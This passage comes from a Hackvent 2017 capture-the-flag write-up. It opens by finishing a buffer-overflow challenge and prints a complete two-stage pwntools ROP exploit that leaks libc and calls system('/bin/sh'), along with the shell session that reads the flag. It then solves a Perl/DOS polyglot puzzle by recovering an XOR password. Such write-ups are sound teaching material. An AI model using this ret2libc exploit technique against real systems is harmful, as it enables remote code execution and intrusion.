Now we can proceed to stage2. The last address we put on the stack in stage1 was the address of sym.main. Thus after we chose 2 (bye bye) the program does not terminate, but rather starts again at the beginning. This is important because if we leaked the libc base address and then reconnect to the server, the program is started again and the base address is not the same again (ASLR). By returning to the address of sym.main we can just proceed like in stage1:

...

####### STAGE 2 #######

p.recvuntil("ch01c3]>")
p.sendline("1")

p.recvuntil("f00d]>")
expl  = "A" * 216
expl += p64(0x400803)    # rop-chain: pop rdi; ret;
expl += p64(binsh_addr)  # binsh address
expl += p64(system_addr) # system address
p.sendline(expl)

p.recvuntil("ch01c3]>")
p.sendline("2")

p.interactive()

It’s basically the same like in stage1. Only the payload differs. At first we put (yet again) our rop-chain on the stack. Then the argument which should be popped to edi. And then our final function-address: the formerly calculated absolute address of system. After sending the payload we chose 2 (bye bye) again in order to let the return instruction make our call to the system function. The method interactive() redirects stdin to our keyboard input and we can interact with the program ourself.

Running the final script:

user@host:~$ ./pwn3.py
[*] '/user/libc-2.26.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
binsh_offset: 0x1a3ee0
system_offset: 0x47dc0
puts_offset: 0x78460
[+] Opening connection to challenges.hackvent.hacking-lab.com on port 31337: Done
puts addr: [0x7f8fdaf04460]
libc base: [0x7f8fdae8c000]
system addr: [0x7f8fdaed3dc0]
binsh addr: [0x7f8fdb02fee0]
[*] Switching to interactive mode
 
[+] bye bye
$ whoami
tamagotchi
$ find . -name "flag"
./home/tamagotchi/flag
$ cat /home/tamagotchi/flag
HV17-pwn3d-t4m4g0tch3y-thr0ugh-f00d
$ exit
[*] Got EOF while reading in interactive

Done =)

The flag is HV17-pwn3d-t4m4g0tch3y-thr0ugh-f00d.

Final python-script:

#!/usr/bin/python

from pwn import *

libc = ELF('libc-2.26.so')
binsh_offset  = libc.search('/bin/sh').next()
system_offset = libc.symbols["system"]
puts_offset   = libc.symbols["puts"]

print("binsh_offset: " + hex(binsh_offset))
print("system_offset: " + hex(system_offset))
print("puts_offset: " + hex(puts_offset))


p = remote("challenges.hackvent.hacking-lab.com", 31337) 

####### STAGE 1 #######

p.recvuntil("ch01c3]>")
p.sendline("1")

p.recvuntil("f00d]>")
expl  = "A" * 216
expl += p64(0x400803)   # rop-chain: pop rdi; ret;
expl += p64(0x601018)   # puts@got
expl += p64(0x4004b0)   # call puts
expl += p64(0x004006ca) # address of sym.main
p.sendline(expl)

p.recvuntil("ch01c3]>")
p.sendline("2")

p.recvuntil("bye bye")
p.recv(1)

puts_addr = int(p.recv(6)[::-1].encode('hex'), 16)
print("puts addr: ["+hex(puts_addr)+"]")

libc_base = puts_addr - puts_offset
print("libc base: [" + hex(libc_base)+"]")

system_addr = libc_base + system_offset
print("system addr: [" + hex(system_addr)+"]")

binsh_addr  = libc_base + binsh_offset
print("binsh addr: [" + hex(binsh_addr)+"]")


####### STAGE 2 #######

p.recvuntil("ch01c3]>")
p.sendline("1")

p.recvuntil("f00d]>")
expl  = "A" * 216
expl += p64(0x400803)    # rop-chain: pop rdi; ret;
expl += p64(binsh_addr)  # binsh address
expl += p64(system_addr) # system address
p.sendline(expl)

p.recvuntil("ch01c3]>")
p.sendline("2")

p.interactive()

Day 23: only perl can parse Perl


Author: M.
… but there is always one more way to approach things!
get your flag here…

(in doubt, use perl5.10+ on *nix)

Let’s have a look at the provided perl-file:

user@host:~$ cat onlyperl.pl
4;q;$,=q����MC��|���L�^M��M��L�D�l�G�A�]N�K]N��l��L�D�l�...
...

A little bit more non-ASCII than I hoped for 😉

When running the script with perl a password is prompted:

user@host:~$ perl onlyperl.pl
Password:
test
L�82��wbpn�1�o\�
�ybh���s�pi
���v?H�
�yUzp��l�{�$�lm���rUw\��T�yg����g�vn��wU�`���$�o`��s�z�i�li����{U6p��m�6��
Decryption done, are you happy now?

Yet again binary data. I wrote a little shell-script to extract the data in order to test different passwords:

#!/bin/bash
echo "test" > inp
perl onlyperl.pl < inp > out
dd if=out of=out_new bs=1 skip=10 count=145

Running the script:

user@host:~$ ./perl.sh
145+0 records in
145+0 records out
145 bytes copied, 0.000557294 s, 260 kB/s
user@host:~$ hexdump -C out_new
00000000  4c 8b 38 32 d0 08 f9 f5  77 62 70 6e d0 02 00 00  |L.82....wbpn....|
00000010  31 ac 6f 5c 17 c1 0a fb  79 62 68 6d 08 c1 fd fb  |1.o\....ybhm....|
00000020  73 a0 70 69 0a c1 f7 fb  76 3f 48 6d 08 b4 0a fb  |s.pi....v?Hm....|
00000030  79 55 7a 70 15 f9 b1 00  6c 96 7b 1b 12 02 fd 05  |yUzp....l.{.....|
00000040  24 a5 6c 6d 0f b4 f4 ed  72 55 77 5c 15 07 f6 ac  |$.lm....rUw\....|
00000050  54 9a 79 67 e2 9e de f5  67 a7 76 6e 12 fa 05 b3  |T.yg....g.vn....|
00000060  77 55 80 60 c3 03 fd f0  24 a8 6f 60 0f 00 b1 f0  |wU.`....$.o`....|
00000070  73 9a 7a 1b 11 03 05 ac  69 ab 6c 69 c3 ff ff fb  |s.z.....i.li....|
00000080  7b 55 36 70 16 06 c0 ee  6d a3 36 6b 08 06 fd ba  |{U6p....m.6k....|
00000090  0e                                                |.|
00000091

Adjust one character of the password:

...
echo "tesb" > inp
...

And rerun the script:

user@host:~$ ./perl.sh
145+0 records in
145+0 records out
145 bytes copied, 0.000400438 s, 362 kB/s
user@host:~$ hexdump -C out_new
00000000  4c 8b 38 20 d0 08 f9 f5  77 62 70 5c d0 02 00 00  |L.8 ....wbp\....|
00000010  31 ac 6f 4a 17 c1 0a fb  79 62 68 5b 08 c1 fd fb  |1.oJ....ybh[....|
00000020  73 a0 70 57 0a c1 f7 fb  76 3f 48 5b 08 b4 0a fb  |s.pW....v?H[....|
00000030  79 55 7a 5e 15 f9 b1 00  6c 96 7b 09 12 02 fd 05  |yUz^....l.{.....|
00000040  24 a5 6c 5b 0f b4 f4 ed  72 55 77 4a 15 07 f6 ac  |$.l[....rUwJ....|
00000050  54 9a 79 55 e2 9e de f5  67 a7 76 5c 12 fa 05 b3  |T.yU....g.v\....|
00000060  77 55 80 4e c3 03 fd f0  24 a8 6f 4e 0f 00 b1 f0  |wU.N....$.oN....|
00000070  73 9a 7a 09 11 03 05 ac  69 ab 6c 57 c3 ff ff fb  |s.z.....i.lW....|
00000080  7b 55 36 5e 16 06 c0 ee  6d a3 36 59 08 06 fd ba  |{U6^....m.6Y....|
00000090  0e                                                |.|
00000091

Comparing the two hex-dumps we can notice that the 4th, 12th, 20th, 28th, … bytes are different. It’s also eye-catching that the 1st to 4th and the 9th to 12th byte of every row is within the ASCII-character-range. It seems likely that the output is encoded with our password as a key of length 8. That’s why every 8th character (4th, 12th, 20th, …) is different as we only changed one character in our password. Also our password only has a length of 4 so the key must be padded resulting in the eye-gatching gaps of 4 bytes.

Yet again I adjusted the password:

...
echo "password" > inp
...

Running the script:

user@host:~$ ./perl.sh
145+0 records in
145+0 records out
145 bytes copied, 0.000480779 s, 302 kB/s
user@host:~$ hexdump -C out_new
00000000  48 87 38 31 3d 77 6b 59  73 5e 70 6d 3d 71 72 64  |H.81=wkYs^pm=qrd|
00000010  2d a8 6f 5b 84 30 7c 5f  75 5e 68 6c 75 30 6f 5f  |-.o[.0|_u^hlu0o_|
00000020  6f 9c 70 68 77 30 69 5f  72 3b 48 6c 75 23 7c 5f  |o.phw0i_r;Hlu#|_|
00000030  75 51 7a 6f 82 68 23 64  68 92 7b 1a 7f 71 6f 69  |uQzo.h#dh.{..qoi|
00000040  20 a1 6c 6c 7c 23 66 51  6e 51 77 5b 82 76 68 10  | .ll|#fQnQw[.vh.|
00000050  50 96 79 66 4f 0d 50 59  63 a3 76 6d 7f 69 77 17  |P.yfO.PYc.vm.iw.|
00000060  73 51 80 5f 30 72 6f 54  20 a4 6f 5f 7c 6f 23 54  |sQ._0roT .o_|o#T|
00000070  6f 96 7a 1a 7e 72 77 10  65 a7 6c 68 30 6e 71 5f  |o.z.~rw.e.lh0nq_|
00000080  77 51 36 6f 83 75 32 52  69 9f 36 6a 75 75 6f 1e  |wQ6o.u2Ri.6juuo.|
00000090  0a                                                |.|
00000091

I tried different passwords and recognized that the first part of the output might be a flag.

By gradually adjusting the password I tried to get "HV17-" in the output:

...
echo "p0lyword" > inp
...

Running the script:

user@host:~$ ./perl.sh
145+0 records in
145+0 records out
145 bytes copied, 0.000796671 s, 182 kB/s
user@host:~$ hexdump -C out_new
00000000  48 56 31 37 3d 77 6b 59  73 2d 69 73 3d 71 72 64  |HV17=wkYs-is=qrd|
00000010  2d 77 68 61 84 30 7c 5f  75 2d 61 72 75 30 6f 5f  |-wha.0|_u-aru0o_|
00000020  6f 6b 69 6e 77 30 69 5f  72 0a 41 72 75 23 7c 5f  |okinw0i_r.Aru#|_|
00000030  75 20 73 75 82 68 23 64  68 61 74 20 7f 71 6f 69  |u su.h#dhat .qoi|
00000040  20 70 65 72 7c 23 66 51  6e 20 70 61 82 76 68 10  | per|#fQn pa.vh.|
00000050  50 65 72 6c 4f 0d 50 59  63 72 6f 73 7f 69 77 17  |PerlO.PYcros.iw.|
00000060  73 20 79 65 30 72 6f 54  20 73 68 65 7c 6f 23 54  |s ye0roT she|o#T|
00000070  6f 65 73 20 7e 72 77 10  65 76 65 6e 30 6e 71 5f  |oes ~rw.even0nq_|
00000080  77 20 2f 75 83 75 32 52  69 6e 2f 70 75 75 6f 1e  |w /u.u2Rin/puuo.|
00000090  0a                                                |.|
00000091

Not yet! Keep on:

...
echo "p0lygl0t" > inp
...

And again running the script:

user@host:~$ ./perl.sh
145+0 records in
145+0 records out
145 bytes copied, 0.000483015 s, 300 kB/s
user@host:~$ hexdump -C out_new
00000000  48 56 31 37 2d 74 68 69  73 2d 69 73 2d 6e 6f 74  |HV17-this-is-not|
00000010  2d 77 68 61 74 2d 79 6f  75 2d 61 72 65 2d 6c 6f  |-what-you-are-lo|
00000020  6f 6b 69 6e 67 2d 66 6f  72 0a 41 72 65 20 79 6f  |oking-for.Are yo|
00000030  75 20 73 75 72 65 20 74  68 61 74 20 6f 6e 6c 79  |u sure that only|
00000040  20 70 65 72 6c 20 63 61  6e 20 70 61 72 73 65 20  | perl can parse |
00000050  50 65 72 6c 3f 0a 4d 69  63 72 6f 73 6f 66 74 27  |Perl?.Microsoft'|
00000060  73 20 79 65 20 6f 6c 64  20 73 68 65 6c 6c 20 64  |s ye old shell d|
00000070  6f 65 73 20 6e 6f 74 20  65 76 65 6e 20 6b 6e 6f  |oes not even kno|
00000080  77 20 2f 75 73 72 2f 62  69 6e 2f 70 65 72 6c 2e  |w /usr/bin/perl.|
00000090  0a                                                |.|
00000091

Looks good! No flag yet, but a hint:

Are you sure that only perl can parse Perl? Microsoft's ye old shell does not even know /usr/bin/perl.

The challenge description also suggests that we should execute the file with something other than perl. Now we have got a specific hint. I don’t really know what’s meant with Microsoft’s ye(?) old shell, but this sounds like DOS. Thus I startet googling for a DOS-emulator and stumbled upon DOSBox: https://www.dosbox.com/.

In the DOSBox configuration file I added the following lines to mount a local folder where the perl-script resides:

...
[autoexec]
# Lines in this section will be run at startup.
# You can put your MOUNT lines here.
mount C "C:\Users\stef\Documents\dosbox\"
C:

Since DOS does not even know /usr/bin/perl but rather used COM-files I renamed the script from onlyperl.pl to onlyperl.com, started up DOSBox and entered ONLYPERL.COM:

Looks good! The binary is running. At first there’s a prompt for the perl password. We already know that this is p0lygl0t. But what’s the DOS code? Entering test just terminates the program.

After a little bit of testing I figured out that the DOS code must be 6 characters long because otherwise the program terminates directly. When entering a DOS code with the length of 6 a decrypted output is printed. After trying and erroring a little bit I managed to get all characters right:

Done 🙂

The flag is HV17-Ovze-IUGF-W2xs-x2uE-pVRU.